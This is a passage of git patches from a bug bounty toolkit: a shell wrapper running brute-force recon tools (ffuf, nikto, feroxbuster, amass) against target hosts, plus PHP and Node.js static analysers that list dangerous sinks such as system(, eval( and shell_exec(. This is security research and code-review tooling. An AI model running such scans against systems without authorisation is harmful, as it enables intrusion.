$1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -357,10 +390,10 @@ fufilter() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -666,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 74f73966e12930b0f1d20d3f606a4c4740e0b954 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Feb 2022 15:37:08 +0000 Subject: [PATCH 174/369] some quick fixes --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 0e49ed9..e2c5486 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 09bfb2a..2d47e79 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -699,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 63df7daf2ff7a07f0d3cf3fd56136faf70b9b108 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 12 Feb 2022 15:40:45 +0000 Subject: [PATCH 175/369] [enumeratescope] udpate options for amass --- enumeratescope.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e2c5486..46c4e8b 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all From da748960cdd25c5fb08bc3670d3fe464267a858f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 14 Feb 2022 20:26:35 +0000 Subject: [PATCH 176/369] [s0mbra] ransack(): misc bugfixes and imporvements --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2d47e79..6759b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -288,7 +288,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -301,7 +301,7 @@ ransack() { fi # nikto - if [[ $NIKTO == "1" ]]; then + if [[ $NIKTO -eq "1" ]]; then echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" fi @@ -321,7 +321,7 @@ ransack() { # feroxbuster if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi # nuclei @@ -369,8 +369,8 @@ api_fuzz() { echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" for endpoint in $(cat $2); do - https --print=HBh --all --follow POST https://$1/$2 payload=data - https --print=HBh --all --follow PUT https://$1/$2 payload=data + https --print=HBh --all --follow POST https://$1/$endpoint payload=data + https --print=HBh --all --follow PUT https://$1/$endpoint payload=data done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -605,7 +605,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" "$3" + ransack "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" From bce76f212345e29c578da693a22061739cf8f937 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 15 Feb 2022 18:07:47 +0000 Subject: [PATCH 177/369] [nodestructor] Output refactoring: print filename+line number for quick open in IDE --- nodestructor/nodestructor.py | 18 ++++++++---------- s0mbra.sh | 1 - 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 53e3a12..e760bd2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -3,13 +3,12 @@ # nodestructor # Node.js application static code analysis tool # -# bl4de | bloorq@gmail.com | Twitter: @_bl4de # pylint: disable=W1401 # pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de -GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com +GitHub: bl4de | hackerone.com/bl4de | bloorq AT gmail.com """ @@ -18,13 +17,12 @@ https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ """ -import os + + import re +import os import argparse - from imports.beautyConsole import beautyConsole - - banner = r""" ( ) ) @@ -218,12 +216,12 @@ def show_banner(): print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code, verbose): +def printcodeline(_line, i, _fn, _message, _code, verbose, fname=None): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + print("{}:{} :: \33[33;1m{}\33[0m {} ".format(fname, i, _fn, _message)) if verbose: if i > 3: @@ -296,7 +294,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose) + ' code pattern identified: ', _code, verbose, _file.name) # URL searching if identify_urls == True: @@ -305,7 +303,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, - ' URL found: ', _code, verbose) + ' URL found: ', _code, verbose, _file.name) urls.append(__url) if patterns_found_in_file > 0: diff --git a/s0mbra.sh b/s0mbra.sh index 6759b1d..0a683dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,6 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[38;5;8m' -GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' From 68282e2eb93586d852d4c987d27b2553fb12ee17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Mar 2022 16:28:11 +0000 Subject: [PATCH 178/369] [nodestructor] new patterns added --- nodestructor/nodestructor.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e760bd2..c36a9e8 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -64,7 +64,9 @@ ".*fork\(", ".*setImmediate\(", ".*newBuffer\(", - ".*\.constructor\(" + ".*\.constructor\(", + ".*mysql\.createConnection\(", + ".*\.query\(", ] npm_patterns = [ From 691cac310fbba50dd25e46f013fac0b4cf62d457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 4 Mar 2022 12:55:39 +0000 Subject: [PATCH 179/369] [s0mbra] refactoring - rename option to decompile .jar --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0a683dc..e697f0c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -502,7 +502,7 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -decompile_jar() { +unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 @@ -651,8 +651,8 @@ case "$cmd" in abe) abe "$2" ;; - decompile_jar) - decompile_jar "$2" + unjar) + unjar "$2" ;; smb_enum) smb_enum "$2" "$3" "$4" @@ -729,7 +729,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" From da86b95d839f5fcff7ddc6c8ea73cbaf58c0dba9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Mar 2022 16:54:03 +0000 Subject: [PATCH 180/369] [s0mbra] added disass to RE commands --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index e697f0c..c22ecff 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -508,6 +508,13 @@ unjar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +disass() { + clear + echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." + objdump -d -x86-asm-syntax=intel $1 > 1.asm + echo -e "\n$BLUE[s0mbra] Done." +} + jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" @@ -654,6 +661,9 @@ case "$cmd" in unjar) unjar "$2" ;; + disass) + disass "$2" + ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -729,6 +739,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" From c93225961e9e9828cd4010c9aba9a985f32d6f5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:06:58 +0000 Subject: [PATCH 181/369] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdefs.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3aa0375..63c3ba8 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,12 +7,10 @@ "popen(", "pcntl_exec(", "eval(", - "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "arse_str(", "parse_url(", "preg_replace(", "create_function(", - "include(", - "require(", "passthru(", "shell_exec(", "popen(", @@ -157,4 +155,4 @@ "INSERT.*INTO", "UPDATE.*", "DELETE.*FROM" -] \ No newline at end of file +] From ac7d71f2f9b4b2713b4e8aba303b33926f61e216 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:07:58 +0000 Subject: [PATCH 182/369] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdocs.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4423a84..32d6643 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -53,18 +53,6 @@ "Code Injection, RCE", "medium" ], - "include()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], - "require()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", From cb122f2b9011d5e8493f72cdb3033f0aa19474d8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:45:46 +0000 Subject: [PATCH 183/369] [pef] Added --level argument to define which level of issues should be reported --- pef/pef.py | 89 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 46 insertions(+), 43 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 09a5dcd..a2ac67e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,13 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename, pattern): + def __init__(self, recursive, verbose, level, sql, filename, pattern): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.verbose = verbose # show prev/next lines - self.critical = critical # scan only for critical set of functions + self.level = level # scan only for level set of functions self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan self.pattern = pattern # pattern(s) to look for, if set @@ -97,7 +97,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) else: if fn in line or atfn in line: self.header_printed = self.header_print( @@ -105,10 +105,10 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): """ prints formatted code line """ @@ -118,15 +118,6 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li "high": "red" } - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) - else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -135,36 +126,46 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + if impact.upper() == level.upper() or level == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + if verbose == True: + print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) + else: + print("{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) + + if verbose == True: + print("\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline"))) + print(" {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline"))) + print(" Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + if verbose == True: + print() + if prev_prev_line: + print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + + beautyConsole.getSpecialChar("endline")) + if prev_line: + print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + + beautyConsole.getSpecialChar("endline")) + print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + beautyConsole.getSpecialChar("endline")) - print() + if next_line: + print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + + beautyConsole.getSpecialChar("endline")) + if next_next_line: + print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + beautyConsole.getSpecialChar("endline")) + print() return def main(self, src): @@ -195,8 +196,8 @@ def main(self, src): i += 1 line = l.rstrip() - if self.critical: - for fn in pefdefs.critical: + if self.level: + for fn in pefdefs.exploitableFunctions: total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) else: @@ -204,7 +205,7 @@ def main(self, src): total = self.analyse_line(l, i, fn, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if self.critical == False and not self.pattern: + if self.level == False and not self.pattern: for dp in pefdefs.fileInclude: total = self.analyse_line(l, i, dp, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) @@ -278,7 +279,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-c", "--critical", help="look only for critical functions", action="store_true") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") parser.add_argument( "-p", "--pattern", help="look only for particular code pattern(s)") parser.add_argument( @@ -293,14 +294,14 @@ def run(self): verbose = True if args.verbose else False sql = True if args.sql else False - critical = True if args.critical else False + level = args.level if args.level else 'ALL' pattern = args.pattern.split(',') if args.pattern else [] filename = args.file try: # main orutine starts here engine = PefEngine(args.recursive, verbose, - critical, sql, filename, pattern) + level, sql, filename, pattern) engine.run() except IndexError as e: print("IndexError in {}: {}".format(filename, e)) @@ -310,6 +311,8 @@ def run(self): print("Requested file not found, check the path :)") except IsADirectoryError as e: print(f"{filename} is a directory and requires -r flag") + except UnicodeDecodeError as e: + pass except Exception as e: print("Unexpected error:") print(type(e)) From d6514403cb088564944011d4904b616bb91880bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:50:07 +0000 Subject: [PATCH 184/369] [pef] Removed critical from pefdefs.py; define some of them as 'critical' in pefdocs.py, tio use with --level CRITICAL --- pef/imports/pefdefs.py | 26 -------------------------- pef/imports/pefdocs.py | 20 ++++++++++---------- pef/pef.py | 5 ++++- 3 files changed, 14 insertions(+), 37 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 63c3ba8..81075f7 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -90,32 +90,6 @@ "file_put_contents(" ] -# only high severity functions, for quick scan of large codebase -# to find oversighted leading to RCE, LFI, Command Injections, SQLi etc. -critical = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "passthru(", - "shell_exec(", - "extract(", - "putenv(", - "unserialize(", - "readfile(", - "file_get_contents(", - "mysql_query(", - "mssql_query(", - "sqlite_query(", - "pg_query(", - "__wakeup(", - "__destruct(", - "__sleep(", - "__call(", - "__callStatic(", - "file_put_contents(" -] # dangerous global(s) globalVars = [ diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 32d6643..fb7a50f 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -9,13 +9,13 @@ "Allows to execute system command passed as an argument", "system ( string $command [, int &$return_var ] ) : string", "RCE", - "high" + "critical" ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", "RCE", - "high" + "critical" ], "call_user_func_array()": [ "Call a callback with an array of parameters", @@ -39,7 +39,7 @@ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", "RCE", - "high" + "critical" ], "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", @@ -57,13 +57,13 @@ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", "RCE", - "high" + "critical" ], "shell_exec()": [ "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", "shell_exec ( string $cmd ) : string", "RCE", - "high" + "critical" ], "popen()": [ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", @@ -81,13 +81,13 @@ "Executes the program with the given arguments.", "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", "RCE", - "high" + "critical" ], "extract()": [ "Import variables into the current symbol table from an array", "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", "Code Injection", - "medium" + "high" ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", @@ -159,13 +159,13 @@ "Reads a file and writes it to the output buffer.", "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", "Code Injection, LFI, RFI", - "medium" + "high" ], "file_get_contents()": [ "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", "Code Injection, LFI, RFI", - "medium" + "high" ], "show_source()": [ "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", @@ -405,7 +405,7 @@ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "high" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", diff --git a/pef/pef.py b/pef/pef.py index a2ac67e..bb05424 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -115,7 +115,8 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li impact_color = { "low": "green", "medium": "yellow", - "high": "red" + "high": "red", + "critical": "red" } # print legend only if there i sentry in pefdocs.py @@ -258,6 +259,8 @@ def run(self): SUMMARY = "{}==> {}:\t {}" + print(SUMMARY.format( + beautyConsole.getColor("red"), "CRITICAL", self.severity.get("critical"))) print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) print(SUMMARY.format(beautyConsole.getColor( From 15b5eb7a47766943be52f73bfa7748ca099ae82f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 18:04:29 +0000 Subject: [PATCH 185/369] [pef] refactoring --- pef/pef.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index bb05424..1491c44 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -176,8 +176,6 @@ def main(self, src): f = open(src, "r") i = 0 total = 0 - filenamelength = len(src) - linelength = 97 all_lines = f.readlines() self.header_printed = False @@ -226,7 +224,7 @@ def main(self, src): if total > 0: print(beautyConsole.getColor("red") + - "Found %d interesting entries\n" % (total) + + "\nFound %d interesting entries\n" % 